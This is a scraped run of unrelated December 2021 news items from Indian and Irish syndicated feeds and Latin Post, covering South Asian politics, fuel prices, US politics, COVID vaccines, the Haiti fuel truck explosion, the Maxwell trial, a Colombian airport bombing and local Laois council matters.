Effective Against Omicron Variant. In the 1991 elections, Deuba was elected to the House of Representatives from Dadeldhura where he was born in 1946. Deuba was again elected from the same constituency in the 1994 mid-term elections and was elected parliamentary party leader of the Nepali Congress. He has been the president of the NC since 2016. Deuba first became prime minister in 1995. (ANI) (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) Dhaka [Bangladesh], December 15 (ANI): President Ram Nath Kovind and Bangladesh First Lady Rashida Hamid will attend the national programme of Victory Day as the guest of honour at National Parade Ground here, said Foreign Secretary Harsh Vardhan Shringla on Wednesday. "Tomorrow, President Kovind and the First Lady will attend the national programme of Victory Day as the Guest of Honour at National Parade Ground in Dhaka," Shringla said during the special briefing on President Kovind's visit to Bangladesh. Also Read | Omicron Shouldnt Revive COVID-19 Vaccine Nationalism, Says Covax Chief Aurelia Nguyen. Foreign Secretary Shringla said that a 122-member tri-services contingent of the Indian Armed Forces will participate in this parade. The year 2021 commemorates the Golden Jubilee of Bangladesh's independence. Also Read | UK PM Boris Johnson Faces Off Revolt for Making COVID-19 Vaccine Certification Mandatory. "It commemorates 50 years of the establishment of diplomatic relations between our two countries. It also commemorates the great victory over the Pakistani army and their unconditional surrender to our joint forces, the forces of Indian armed forces and Bangladesh's forces on the 16th of December 1971," Shringla earlier said. On Thursday, President Kovind will inaugurate the renovated Sri Ramna Kali Mandir, which was completely destroyed by Pakistani forces during heinous Operation Searchlight in 1971. "On Dec 17, President Ram Nath Kovind will inaugurate the renovated Sri Ramna Kali Mandir, which was completely destroyed by Pakistani forces during heinous Operation Searchlight in 1971," he said. President Kovind today began his three-day visit to Bangladesh. This is the first foreign visit of President Kovind since the COVID-19 outbreak. Earlier today, President Kovind was received by Bangladesh President Abdul Hamid and First Lady Rashida Hamid upon his arrival in Dhaka. President Kovind visited Bangabandhu Memorial Museum and paid his respects to Bangabandhu Sheikh Mujibur Rahman. He also paid tributes at the National Martyrs' Memorial to those who sacrificed their lives in the Liberation War of Bangladesh. He also met Bangladesh Prime Minister Sheikh Hasina and Foreign Minister AK Abdul Momen and discussed bilateral issues. President Kovind is scheduled to depart for Delhi on December 17. (ANI) (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) New Delhi, December 15: The fuel rates remained static on Wednesday, December 15 across the metros. The Oil Marketing Companies (OMCs) have kept the prices of petrol and diesel unchanged today as well. The fuel prices have reached record high with petrol prices breaching Rs 100-mark in several cities across the country. In Delhi, the petrol is being sold at Rs 95.41 per litre on Wednesday, December 15. Meanwhile, the price of diesel stands at Rs 86.67 per litre in the national capital on Wednesday. Petrol in Delhi to Get Cheaper Nearly by Rs 8 After Arvind Kejriwal Govt Reduces VAT. The petrol price stands at Rs 109.98 per litre in Mumbai on Wednesday, December 15. While, the diesel is being sold at Rs 94.14 per litre in the capital city of Maharashtra on Wednesday with the prices of fuel remaining static today as well. The price of petrol in Mumbai breached the Rs 100-mark in May this year and has remained above it since then. Petrol Prices Cut by Rs 10, Diesel by Rs 5 Per Litre in Punjab After Charanjit Singh Channi Govt Reduces VAT on Fuel in State. Check Prices Of Petrol & Diesel In Metro Cities On December 15, 2021 Here: City Petrol Price Diesel Price Delhi Rs 95.41 Rs 86.67 Mumbai Rs 109.98 Rs 94.14 Kolkata Rs 104.67 Rs 89.79 Chennai Rs 101.40 Rs 91.43 In Kolkata, petrol is being sold at Rs 104.67 per litre on Wednesday, December 15. Meanwhile, price of diesel stands at Rs 89.79 per litre in the capital city of West Bengal on Wednesday with the fuel rates remaining constant. In Chennai, the prices of petrol and diesel stand at Rs 101.40 per litre and Rs 91.43 per litre respectively on Wednesday. (The above story first appeared on LatestLY on Dec 15, 2021 09:16 AM IST. For more news and updates on politics, world, sports, entertainment and lifestyle, log on to our website latestly.com). New Delhi, Dec 15: The Supreme Court on Tuesday commuted the death penalty of a man convicted for raping and killing a three-year-old girl in 2016 and considered the possibility of his reformation and rehabilitation. Commuting the death sentence of a Chhattisgarh resident to life imprisonment, a bench headed by Justice L Nageswara Rao maintained a speedy trial is desirable but sufficient time ought to have been given in this case to the counsel appearing for the accused to prepare for the defence. The bench passed the order on an appeal filed by Lochan Srivas against the conviction and death penalty awarded to him by a trial court and further upheld by the high court in Chhattisgarh. Gujarat: Death Penalty Awarded To Convict for Raping 2.5-Year-Old Girl in Surat. It noted that the trial judge passed the judgment and order of conviction on June 17, 2016 and awarded the death penalty the same day. The court said the convict was not a hardened criminal. It therefore cannot be said that there is no possibility of the appellant being reformed and rehabilitated foreclosing the alternative option of a lesser sentence and making imposition of death sentence imperative, the bench, also comprising Justices B R Gavai and B V Nagarathna, said. The apex court said the trial court as well as the high court only took into consideration the crime but not the criminal, his state of mind, his socioeconomic background etc. The appellant is a young person, who was 23 years old at the time of commission of the offence. He comes from a rural background. The state has not placed any evidence to show that there is no possibility with respect to reformation and the rehabilitation of the accused. The court also took note of the affidavits filed by the convict's younger brother and elder sister, who claimed he did well at school and made consistent efforts to bring the family out of poverty. The conduct of the appellant in the prison has been found to be satisfactory. There are no criminal antecedents. It is the first offence committed by the appellant. No doubt, a heinous one, it said. In its order, the court also said sufficient time was not given to the counsel appearing for the accused to prepare the defence. We find that though a speedy trial is desirable, however, sufficient time ought to have been given to the counsel for the accused to prepare for the case after he was appointed, the apex court said. According to the prosecution, the victim and her family lived in same building as that of the convict. On February 24, 2016 the girl went missing and the convict offered to find her. Later, he informed them that the child was tied and kept inside a sack in the bushes near a pole beside a road. On this, people got suspicious and informed the police. The police interrogated the appellant, who confessed to his crime before them. The body of victim, soaked in blood, was found in a sack near the bushes. A #Thai helicopter on a military training flight crashed, killing both crew onboard, local media reported. The helicopter, flying with other helicopters on the training flight from Army Aviation Center in Lop Buri province, caught fire and crashed about 9:40 a.m. on Tuesday. pic.twitter.com/50SclWQcDj IANS Tweets (@ians_india) December 15, 2021 (SocialLY brings you all the latest breaking news, viral trends and information from social media world, including Twitter, Instagram and Youtube. The above post is embeded directly from the user's social media account and LatestLY Staff may not have modified or edited the content body. The views and facts appearing in the social media post do not reflect the opinions of LatestLY, also LatestLY does not assume any responsibility or liability for the same.) The people of #Afghanistan are facing a profound humanitarian crisis that threatens the most basic of human rights, the Human Rights Council of the United Nations (#UN) has warned. pic.twitter.com/2gxjQUPvFT IANS Tweets (@ians_india) December 15, 2021 (SocialLY brings you all the latest breaking news, viral trends and information from social media world, including Twitter, Instagram and Youtube. The above post is embeded directly from the user's social media account and LatestLY Staff may not have modified or edited the content body. The views and facts appearing in the social media post do not reflect the opinions of LatestLY, also LatestLY does not assume any responsibility or liability for the same.) The former Donald Trump aide, Stephanie Grisham, tweeted that the former president was likely angered by his ex-chief of staff Mark Meadows for turning over more than 9,000 documents to the House select committee probing Capitol riot. Grisham tweeted that the former president's anger level "has got to be through the roof right now," according to a Business Insider report. Rep. Liz Cheney, the vice chairwoman of the panel leading the Capitol probe, read out text messages on Monday night pertaining to the January 6 incident. The text messages were from Donald Trump Jr. and some Fox News hosts, who were urging Meadows to have Trump condemn the rioters. Trump Jr. said in one of his text messages that Trump has got to "condemn this shit ASAP." He added that the situation has gone too far and gotten out of hand. Aside from the revealed text messages, Trump was also reportedly angry with Meadows after he wrote in his memoir that Trump tested positive, later negative for COVID before his first in-person debate with U.S. President Joe Biden in September 2020. Meadows then reversed direction and defied the committee's demand that he sit and testify in front of them. Grisham translated this to Trump being "pissed" about Meadow's book, and the former chief of staff is doing "all he can to get back in his good graces." READ NEXT: Donald Trump Jr. Begged Mark Meadows to Urge His Father to Stop Capitol Riot, Texts Reveal Stephanie Grisham on Capitol Riot Probe Grisham had also commented on the former White House chief strategist's, Steve Bannon, contempt of Congress indictment. The former Trump aide said that Bannon will "absolutely" see his indictment as a "badge of honor," according to another Business Insider report. Grisham earlier said in a CNN appearance that the former president would still instruct all aides to "stall" in cooperating with the select committee. She said that she is very glad that it is happening, hoping that it will have many others getting subpoenaed. She added that she is "glad" the Justice Department decided to do what they did with Bannon. Grisham said that the events that took place on January 6 made her sick and it was the day that she resigned. She released a memoir entitled "I'll Take Your Questions Now," which detailed her time serving the Trump White House. Capitol Riot Probe and Mark Meadows The full House is eyeing to vote on Tuesday on a measure to hold Meadows in criminal contempt of Congress over his defiance of a subpoena issued by the select committee, according to a CNBC report. If the measure were to pass, Meadows' case would be referred to the Justice Department for possible criminal prosecution. Select committee chairman Rep. Bennie Thompson said that he has no desire to be seeking consideration of this contempt referral. However, it does not excuse Meadows' behavior. Thompson said that they have been more than fair and that the former chief of staff brought "this situation on himself." Trump has earlier sued to block the National Archives from sending a series of White House records to the January 6 committee, claiming executive privilege. Biden waived the privilege over those documents while a federal district court judge and a panel of three federal appeals court judges have shut down Trump's claims of privilege. READ MORE: House January 6 Committee Examines Mark Meadows' PowerPoint Presentation Detailing Donald Trump's Plan to Retain Presidency This article is owned by Latin Post. Written by: Mary Webber WATCH: Full Stephanie Grisham: 'I Don't Want [Trump] To Run Again' - from NBC News Elon Musk clapped back against Senator Elizabeth Warren on Tuesday after the Democrat accused him of "freeloading" and not paying his taxes. Warren's criticism came after Time Magazine named Elon Musk "Person of the Year," as she was not impressed by the publication's move, Independent reported. The two took to social media to address each other, as they took turns criticizing each other. READ NEXT: Kamala Harris Brushes off Criticisms, Says 'Ridiculous' Headlines Will Not Distract Her Elon Musk Responds to Senator Elizabeth Warren's Tax Criticism The exchange of words between the senator and the businessman happened on Twitter, as Elizabeth Warren quoted an article from the Boston Globe talking about Musk named as Time's "Person of the Year." The Democratic senator paired the article with a caption accusing the Tesla CEO as a "freeloader." Lets change the rigged tax code so The Person of the Year will actually pay taxes and stop freeloading off everyone else. https://t.co/jqQxL9Run6 Elizabeth Warren (@SenWarren) December 13, 2021 "Let's change the rigged tax code so the "Person of the Year" will pay taxes and stop freeloading off everyone else," Warren said in her tweet. The senator did not tag the billionaire in her tweet, but Musk saw what Warren posted on Tuesday, as he quickly called her "Senator Karen." Please dont call the manager on me, Senator Karen Elon Musk (@elonmusk) December 14, 2021 "You remind me of the when I was a kid and my friend's angry Mom would just randomly yell at everyone for no reason... Please don't call on me, Senator Karen," Musk underscored. The billionaire also urged the senator to "Stop projecting," as he quoted a FOX news article about Warren. New York Post noted that the opinion article the billionaire included in his tweet was about the Massachusetts Democrat lying about having Native American heritage to benefit from affirmative policies. And if you opened your eyes for 2 seconds, you would realize I will pay more taxes than any American in history this year Elon Musk (@elonmusk) December 14, 2021 Musk went on to say that if Warren opened her eyes for two seconds, the Democrat would realize that he will pay "more taxes than any American in history this year." When someone makes it big in Americamillionaire big, billionaire big, Person of the Year bigpart of it has to include paying it forward so the next kid can get a chance, too. https://t.co/OQUYXf5kIq Elizabeth Warren (@ewarren) December 13, 2021 However, Senator Warren was not yet done on criticizing the billionaire, as the Democrat quoted another tweet from American for Tax Fairness on Tuesday, showing an edited cover section of Time Magazine with the big word "TAX ME" in front of his photo. Elon Musk Taxes According to ProPublica in June, Elon Musk paid $680,000 in federal income taxes in 2015. He then paid $65,000 in 2017. Furthermore, the organization highlighted that the Tesla CEO did not pay his taxes for 2018 because he only had assets and not earnings, The Hill reported. Warren was not the only one who reacted to Musk being Time's "Person of the Year" as Representative Pramila Jayapal also expressed her thoughts in a statement. "We can't believe Time Magazine just named Elon Musk its 'Person of the Year'... the richest person in the world and yet he avoids paying taxes while working families struggle to put food on the table and pay rent," Jayapal said. According to Times, the "Person of the Year" is not an award, but it recognizes any individual who had the "most influence" on the events of the year, even though it is for good or for ill will. Other personalities such as Greta Thunberg, Kamala Harris, and Joe Biden, Adolf Hitler, Vladimir Putin, Donald Trump, and Mark Zuckerberg were also named "Person of the Year" by Time magazine in the past. READ NEXT: Donald Trump Jr. Begged Mark Meadows to Urge His Father to Stop Capitol Riot, Texts Reveal This article is owned by Latin Post. Written By: Joshua Summers WATCH: Elizabeth Warren Claps Back at Elon Musk Over Taxing the Rich - From CNN A new needle-free COVID vaccine has started its trial and is seen to provide protection against future COVID variants. Prof. Jonathan Heeney of Cambridge University and chief executive of DIOSynVax developed the needle-free vaccine. It is administered through a jet of air, according to a BBC News report. Heeney said that immunity begins to wane as new variants of the virus emerge, which calls for newer technologies. The trial enrolled participants aged between 18 and 50 years old. It will take part at the NIHR Southampton Clinical Research Facility. The vaccine called DIOS-CoVax uses different technology to fight the disease, which could provide a wide range of protection against COVID variants and other coronaviruses, according to Heeney. He added that it is important that they continue to develop new generation vaccine candidates in the search for protection from the next virus threats. Heeney said that it is the first step towards a universal coronavirus vaccine they are developing. Meanwhile, Saul Faust, clinical chief investigator and director of the NIHR Southampton Clinical Research Facility, said that the new needle-free vaccine is not simply "yet another" COVID vaccine as it keeps in mind the COVID variants and other coronaviruses, according to a Daily Mail report. The DIOSvax technology used for the new vaccine targets to predict how the virus could mutate, which allows it to target emerging variants. Most existing COVID vaccines use the sequence of the RNA for the spike protein from the first samples of the virus that were found in 2020. READ NEXT: Dr. Anthony Fauci Says COVID Variant Omicron Might Evade Protections Gained by Vaccination, Previous Infection COVID Vaccines Pfizer and Moderna COVID vaccines use the RNA sequence for their vaccines. It then formulated lab-created mRNA to teach cells how to make a protein that imitates the protein coronavirus when infected, according to an Express report. The said vaccine technology then triggers an immune response in the body, which produces antibodies designed to protect against the virus the vaccine mimics. New variants such as the omicron variant have some mutations in the spike protein, which it uses to latch on to cells. According to its website, the needle-free vaccine eyes to combine the epitopes from multiple "synthetic, novel antigens" into a single vaccine. Omicron Variant in The U.S. Researchers at the University of Washington found that 13 percent of 217 positive COVID case specimens collected Wednesday had the mutation. The new number increased from about seven percent of samples that the researchers had tested from the day before. Dr. Pavitra Roychoudhury, a researcher at the University of Washington, said that the omicron variant is clearly looking like it is rising "really quickly," according to The New York Times report. Scientists have seen evidence that omicron can partially evade existing immune defenses provided by vaccines. However, health experts are still trying to determine how often the variant causes severe disease. Meanwhile, the U.S. has surpassed the 50 million COVID cases count on Monday, which is more than the combined populations of Georgia, Michigan, North Carolina, and Ohio. READ MORE: Dr. Anthony Fauci Says Early Data Show COVID Variant Omicron Less Dangerous As Compared to Delta; South African Travel Ban to Be Reviewed This article is owned by Latin Post. Written by Mary Webber WATCH: Pfizer shot less effective in South Africa after Omicron emerges: study - from Reuters Over 60 people were killed after a fuel truck explosion in Haiti at the country's second-largest city Cap-Haitien, the country's health ministry confirmed. Local media reported that the death toll is seen to rise after the fuel truck overturned in the area of Sanmarie on the eastern end of the city, The Guardian reported. Mayor Pierre Yvrose said on Tuesday that the local hospital was being strained as it tries to treat the injured. Meanwhile, the number of wounded was still not known. Bodies were covered in white sheets on the ground as rescue workers cleaned up the debris of the explosion. Shops and fronts of houses were also affected by the explosion, with motorbikes and cars not escaping the impact. Haiti's Prime Minister Ariel Henry wrote on Twitter to talk about the fuel tanker's explosion. Henry said that he had just learned about the "sad news" of the explosion. READ NEXT: Haiti Kidnappers Released Three Christian Aid Ministries Missionaries; 12 Still Held by the Captors Fuel Truck Explosion Aftermath The government committed three days to mourn the dead from the explosion. Pictures of the explosion were posted on social media, with one witness describing the incident as "hell," according to a BBC News report. One nurse at the Justinien University Hospital said that they do not have the ability to treat the number of seriously burned people, adding that she is afraid they will not be able "to save them all." A local doctor said that they are overwhelmed with the number of victims of the blast. Pierre said they need human resources and material resources such as serum, gauze, and anything that can be used to treat serious burns. Henry traveled to the scene on Tuesday along with doctors and health workers. The government has also announced its plans to set up field hospitals in the area of those affected. Tension in Haiti The country is still regaining its balance after President Jovenel Moise was assassinated in July. It was then struck by a deadly earthquake, severe flooding, and a series of kidnappings perpetrated by criminal gangs. In addition, the gangs have gained control access to fuel terminals, blocking deliveries over the past few months, according to The New York Times report. The blockage of the deliveries caused severe shortages among Haitians. Witnesses said that some in Cap-Haitien were willing to risk approaching the blasted fuel truck on Wednesday to collect gas. Jhonky Joseph, a student who lost some of his classmates in the fire, said that the state is guilty of what happened. Joseph noted that people will see "these kind of things" when there is no state present. Gangs in the country, not the government, now control the large areas of the country. The gangs have taken it to their advantage with Haitians' desperate need for fuel. In October, many truck drivers refused to work in a nationwide strike that paralyzed the country. Gangs have also become increasingly dauntless in kidnapping people en masse and targeting everyone from school children to missionaries. READ MORE: Immigrant Children at Border Have High Chance of Staying in the U.S. This article is owned by Latin Post. Written by: Mary Webber WATCH: More than 60 killed in Haiti fuel truck explosion - from CBS Evening News The defense and prosecution in Ghislaine Maxwell's trial have agreed not to release the socialite's "black book" of contacts. Judge Alison Nathan ruled at Manhattan federal court that only a small part of the directory would be revealed under seal, according to a Daily Mail report. The said black book was believed to be a version of Jeffrey Epstein's 97-page book containing the name and address of around 2,000 world leaders, celebrities, and businessmen. It reportedly includes contact details of Prince Andrew and former U.S. Presidents Donald Trump and Bill Clinton. READ NEXT: Ghislaine Maxwell, Jeffrey Epstein Pictured at Queen Elizabeth's Balmoral Residence; Photo Shown During Trial Ghislaine Maxwell's "Black Book" Nathan previously said that she wanted to refrain from "needless" namedropping during the trial, according to an Independent report. Jurors and attorneys could only view some of the entries from the black book. It is released under seal. A U.S. attorney to the judge said that it can be considered for the purpose of showing a link between Maxwell and the names if there is any. Damian Williams said it can also show how the information was organized. Former Epstein butler Alfredo Rodriguez admitted to stealing the book as "insurance" and was jailed for trying to sell it to an undercover Federal Bureau of Investigation agent for $50,000. Juan Alessi earlier testified that Maxwell used the directory to book massages from young girls, which included at least one of the accusers in Maxwell's sex-trafficking trial. Alessi was the house manager in one of Epstein's estates. However, the defense argued that there was no proof that the directory he saw was the same contact book prosecutors had wanted to enter into evidence. A few pages were mentioned in the prosecution's case and were labeled as "exhibit GX52." Alessi said Maxwell took many photos of topless women and displayed them in frames on her desk. He said that he also called Maxwell the "lady of the house." Alessi also noted that Maxwell slept with Epstein in his bedroom. Three accusers who testified against Maxwell in the first two weeks of her trial were allowed to keep their identities clandestine for their privacy. Maxwell's lawyers argued that three of the defense's witnesses have also asked to testify without revealing their identities, according to The New York Times report. The request was opposed by prosecutors. One of Maxwell's lawyers, Bobbi C. Sternheim, suggested that some possible defense witnesses might not be willing to testify if they had to do so using their real names. Sternheim wrote on Saturday that it might affect Maxwell's right to present her defense. However, legal experts noted on Monday that they were not aware of trials in which defense witnesses had appeared under a pseudonym or a partial name. Sternheim's letter did not expound why they were requesting anonymity and did not identify the three witnesses. The three were said to be among 35 witness names the defense provided to the government but did not release publicly. Rebecca Roiphe, a New York Law School professor, said that she does not think Nathan would grant the defense's request. Roiphe used to serve as an assistant district attorney in Manhattan. She said she does not think that preference is enough reason for anonymity. READ MORE: Jeffrey Epstein's Ex-Employee Says Late Sex Offender Had Young Girls at Palm Beach Estate While Ghislaine Maxwell Was the 'Lady of the House' This article is owned by Latin Post. Written by: Mary Webber WATCH: Ghislaine Maxwell trial: Photos of Maxwell and Epstein portray an affectionate couple - from Sky News At least two police were reported dead in the recent bombings that occurred in an airport in Colombia on Tuesday. The suspected attacker also reportedly died in the incident that happened in the northeastern part of Colombia, which is near the border of Venezuela, Al Jazeera reported. According to France 24, the two police who died in Tuesday's tragic incident was identified Colombia's defense ministry as David Reyes and William Bareno. READ NEXT: Puerto Rican Admits Flying Over 250 Kilos (551 Lbs.) of Cocaine to U.S. via Private Planes Colombia Airport Bombings The authorities confirmed that the first blast of the bombings took place at around 5 a.m. local time. The police noted that a man carrying explosives attempted to climb over a fence that separates the airport's runway from one of Cucuta's neighborhoods. Authorities said that the attacker managed to cross the said wire fence in the Camilo Daza International Airport, but the bombs exploded, scattering the attacker's body parts in the area. About an hour later, another explosion was heard while the police were searching for a "suspicious package." Cucuta Police Chief Colonel Giovanni Madarriaga said that the police officers who surveyed the area were their explosive experts. The explosion both occurred near the Colombian airport's runway. However, authorities underscored that the passenger terminal was not affected, ABC News reported. Officials highlighted that the explosions left flights suspended in the airport and prompted evacuations of passengers from the said building. Authorities are now offering a reward amounting to $25,000 in exchange for information about the recent airport attack in Cucuta, Colombia. Colombia Officials Attribute Airport Explosions to Terrorist Attack Even though more information was sought by experts in the recent bombings in Colombia, Colombian Defense Minister Diego Molano attributed the bombings to terrorist attacks in a local television interview. "We reject and condemn this terrorist act that aims, as always, to destabilize [the country]," Molano said. The defense minister also mentioned that rebels from the National Liberty Army (ELN) and fighters from the Revolutionary Armed Forces Colombia (FARC) are operating in the area where the explosions took place. Molano pointed out that these organizations "plan, finance, and develop" their attacks from Venezuela and execute them in Colombia. Cucuta is the capital of North Santander state, which is known to harbor and witness a surge in fighting between rebel groups and drug trafficking gangs. The said gangs are reportedly fighting to seize control of the coca crops as well as trafficking routes in the area. Meanwhile, Colombian President Ivan Duque took to social media to express his thoughts about the recent bombings in their airport, as he also labeled the incident a "terrorist attack." Este atentado es un acto cobarde, miserable, terrorista que nos enluta. Es la reaccion de los terroristas ante los golpes de #FuerzaPublica. Los policias son heroes y la institucion no la pueden manosear para hacer politica. Invito a prender una vela por nuestra @PoliciaColombia pic.twitter.com/7vbriAprdI Ivan Duque (@IvanDuque) December 14, 2021 "This attack is a cowardly, miserable, terrorist act that mourns us. It is the reaction of the terrorists to the blows of #FuerzaPublica," the president said. Duque also urged the public to light a candle for the police officers. READ NEXT: Families of Guatemalan Migrants Involved in Deadly Truck Crash in Mexico Demand Answers, Seek Help This article is owned by Latin Post. Written By: Joshua Summers WATCH: Explosions at Colombian Airport Kill at Least 3 - From CGTN American Airlines said that they will hire around 18,000 employees by 2022, amid the unexplained flights that occurred in their company. The Daly Wire noted that said that the airline's CEO Doug Parker announced the move of their company, as he was slated to sit before the members of the Senate on Wednesday. The move was announced by the CEO after American Airlines already hired thousands of new employees this year for a rebound in travel, CNBC reported. READ NEXT: Elon Musk Hits Back at Elizabeth Warren After Senator Called Him 'Freeloader' and Accused Him of Not Paying Taxes The Dallas Morning News noted that Parker's company hired at least 16,000 employees this year. Among those employees are 1,350 pilots, 2,000 reservation agents, and more than 1,600 flight attendants. It was unclear what the company plans to hire for the remaining number. "We believe this positive momentum will continue into next year, as we've set a target hiring an additional 18,000 team members in 2022," Parker said. This month, the airline told its employees that their company plans to hire 2,100 pilots next year, a number that has more doubled since July. "Instead of building back from collapse, we're growing to provide more promising careers in good-paying jobs to hard-working individuals who are the lifeblood of our nation's economy," Parker noted. American Airlines, Other Airlines to Face Senate Members The announcement of American Airlines plans on employing thousands of workers came as the CEO Parker, as well as other executives from other airlines, are scheduled to face the Senate Committee on Commerce, Science, and Transportation on Wednesday. In the meeting, executives from United Airlines, American Airlines, Southwest Airlines, and Delta Airlines will have to answer about the issues of mass cancellations of flights and staffing struggles despite the $54 billion federal payroll aid. It can be recalled that thousands of travelers were left stranded after airlines canceled their flights in recent months with minimal notice. According to reports, American and Southwest Airlines explained that they struggled with their number of staff and bad weather when they canceled hundreds of their flights in the fall this year. In late 2020, American Airlines and other airline companies laid off more than 17,000 employees. American Airlines cut their administrative ranks by thousands as they tried to offset deep losses from the abrupt drop from travelers due to the pandemic. The Dallas Morning news underscored that despite the government aid, American Airlines still sustained a loss amounting to $8.9 billion in 2020. American Airlines to Drop Some International Flights in Summer 2022 As the cancellations of flights continue, American Airlines also announced on Tuesday that some of their international flights slated for next summer will be canceled due to the delay of Boeing manufacturing, FOX 4 reported. The airline noted that the cancellations are due to the Boeing failing to deliver the 13 Dreamliners they ordered. Despite the cancellation next summer, reports noted that the cancellations will not affect the upcoming holiday travel schedule of their company. Aside from American Airlines, United Airline flights will also be affected by the delay in Boeing manufacturing. READ NEXT: Jeff Bezos Slammed for Celebrating Blue Origin Space Trip After Amazon Warehouse Deaths in Powerful Tornado This article is owned by Latin Post. Written By: Joshua Summers WATCH: American Airlines Cancels Nearly 2000 Flights, Stranding Thousands - From TODAY The number of people with Covid-19 in Portlaoise hospital has risen into double figures with three patients critically ill with the virus according to official HSE figures which reveal that there were no ICU beds at HSE group which includes the Laois hospital. The latest COVID-19 Daily Operations Update Acute Hospitals from the HSE's Performance Management and Improvement Unit covers the 24 hours up to 8pm, Tuesday, December 14. They dispel any notion that the pressure is easing on hospitals due to Covid-19. It shows that there were 11 people in the Midland Regional Hospital Portlaoise with the virus. Of these, three were admitted in the previous 24 hours. The hospital's intensive care unit (ICU) had three patients. The report shows that there were three available beds at the Laois hospital but now free ICU beds which are vital for patients with Covid-19 or other illnesses who are very sick. The Laois hospital is in the Dublin Midland Hospital Group which includes facilities in Tullamore, Naas and the capital. The group which serves a population of some 400,000 people had no ICU beds free on Tuesday night. There were 10 Covid-19 patients in Tuallamore hospital of whom one was critically ill. It had four general beds but no ICU beds. Naas General had 19 Covid positive patients of whom three were critically ill. It had one general bed but no ICU beds available. St James's and Tallaght are the two big Dublin hospitals in the group. There were 20 confirmed and 40 suspected Covid cases in St James's. It was treating 14 critically ill people. It had 12 general beds free but no ICU beds. Tallaght had 44 confirmed Covid patients and six suspected. The west Dublin hospital had no spare general beds and no spare ICU beds. A third of the total number of patients in ICU/HDU (318) around Ireland had Covid-19. The HSE says there were 457 people confirmed as having Covid-19 in Irish hospitals by 8pm December 15. The chief executive of Laois County Council walked out of the December council meeting this week, as councillors demanded a halt to the construction of a new massive substation over alleged planning breaches. Councillors spoke in support of local residents who claim that Eirgrid has breached the planning conditions laid down by An Bord Pleanala when it granted approval. The substation has been the site of a years long protest by the Ratheniska, Timahoe, Spink Action Group. The locals claim it is unnecessary, that it will damage their environment and could contaminate the water supply. EirGrid plans the substation in Coolnabacca near Timahoe, part of a 110 million project to reinforce the electricity supply to Laois, Carlow, Kildare, Wicklow and Kilkenny. Cllr Padraig Fleming said that a recent inspection by Laois County Council of the building site has found it is "largely in compliance". He is not satisfied with that finding. As he started to speak, CEO John Mulholland left the meeting explaining that he could not be present during a discussion on planning enforcement. "I am sorry that the Chief Executive has left because at the end of that letter to the RTS group, Laois County Council has decided this is the end of the matter. I'm saying it shouldn't be the end. There are 2.5 million litres of water used every day from this aquifer, serving the people of Laois. There's a duty of Laois County Council to protect the water," Cllr Fleming said. He said that 300,000 litres of oil will be stored onsite and is a danger. "The ESB were to put put membranes around all concrete structures and they have not done so," Cllr Fleming claimed. He asked if the CEO had met Eirgrid and what was said and what will be done. "There's a real danger out there," he said. Cllr Aisling Moran and Cllr Ben Brennan are also calling for a halt to the project. Cllr Moran said the station will be the biggest in the country, but that their concern is if the oil leaks into the underground water supply. "It serves seven schools, a nursing home, farms, businesses and houses. Seven reservoirs are fed from this. Nowhere in the application is there a mention of oil," she said. Cllr Aidan Mullins said that there are "red flags" showing a "casual disregard for planning conditions" by the company. He said that having worked in the Health and Safety sector for many years, he would like a method statement on risks such as the oil going on fire. "I'd call on the council to suspend work until a proper risk assessment on the hazard of oil is done. It's a serious matter. This is critical infrastructure, it has to go somewhere but not over an aquifer," he said. Cllr Paschal McEvoy however defended the county's planning authority and said he was happy with the report from the council and from An Bord Pleanala. Cllr Catherine Fitzgerald said speaking about the CEO without his presence was "totally out of order". "You need to get clarification as Cathaoirleach and you need to adjourn for five minutes to find out where we stand. I don't feel comfortable when the Chief Executive's name is being brought up when he has said he can't talk about this," she told Cllr Conor Bergin. "All councillors have a democratic mandate to speak so I'm not going to stop them but I would like clarity," Cllr Bergin said. Director of Services Simon Walton said a meeting between the council and EirGrid will shortly take place. "My understanding is the Chief Executive left the chamber because the members are discussing a planning issue. Ultimately it is the chief that makes the decisions about the planning. His decision must be independent. There's various submissions and it's a public process. I'm aware of meetings with EirGrid and my understanding is that a meeting with EirGrid will be held later on this week. That arises in connection with meeting that Cllr Fleming referred to. That's why the Chief left the room. He understands his role and it would be inappropriate for him to be here at this time," he said. Cllr Caroline Dwane Stanley and Cllr Catherine Fitzgerald requested a response to concerns immediately from the council. "It is alarming. I'd like a response now on what could affect the water supply. We need expert advice, I find it extremely worrying," Cllr Fitzgerald said. The Cathaoirleach Cllr Conor Bergin said he would speak to the CEO about their concerns after the meeting. A policy to guide builders on the naming of new housing estates in Laois and that would also allow Laois streets named in honour of people who have served their communities over many years has 'slipped between cracks'. The status of the so-called place names committee was raised once again at the December meeting of the Graiguecullen Municipal District meeting. Cllr Aidan Mullins, Sinn Fein, wants a road in Portarlington after the late Niall McElwaine in honour of the decades of service given to the Laois Offaly town over several years. Cllr Mullins said he first proposed this more than a year ago in 2020. He was told this October that policy on the naming of infrastructure and housing estates was agreed and would appear at the November council meeting. It seems to have slipped between the cracks again, he said. He asked Director of Services Gerry Murphy for an update. Mr Murphy could not give an update but committed to finding out. The issue has caused controversy in the past in Laois over the naming of estates such as Bellingham in Portlaoise. It was criticised by Sinn Fein due to a link with the deaths inflicted on Irish people by a colonial soldier. A petition has been launched to update the engraving on a famous monument located in The Curragh, County Kildare. It is titled: "Correct the date on the Dan Donnelly Monument, Donnelly's Hollow, the Curragh, Co. Kildare." The monument details a famous 1815 fight between Irish boxer Dan Donnelly and English boxer George Cooper. The petition was started by local historian and Senior Executive Librarian at Kildare County Council, Mario Corrigan. Mr Corrigan explained: "The date recorded for the fight on the Dan Donnelly Monument is 13 December 1815 - the fight took place on 13 November 1815." "Donnelly's Hollow is a landmark spot on the Curragh Plains and arguably Dan Donnelly was Ireland's First True Sporting Hero - let us honour him and that amazing victory by correcting a wrong." "The date of the fight continues to be miscommunicated.. it needs to be resolved," he added. Mr Corrigan also included two links pointing out the real date that the fight took place. Both links show detail a copy of The Freeman's Journal and Daily Commercial Advertiser, dated November 13 1815. The entry reads as follows: "The battle between Donnelly and Cooper, which has, for such a length of time, excited so much interest in the pugilistic world, was to have taken place on the Curragh last Wednesday." "The Magistrates, however, interfered as well as the Turf Club, and would not allow it to proceed to the no small disappointment of many thousands of spectators, who had collected from this city and the adjacent counties; and who could not be persuaded, until a late hour in the day, that the conflict would not take place." "The battle, however, was fought this morning at eight oclock, at the Curragh." A follow-up article later said that the fight actually ended up taking place sometime shortly after 10:15am. Donnelly notably ended up winning the famous fight. A Brief History: Dan 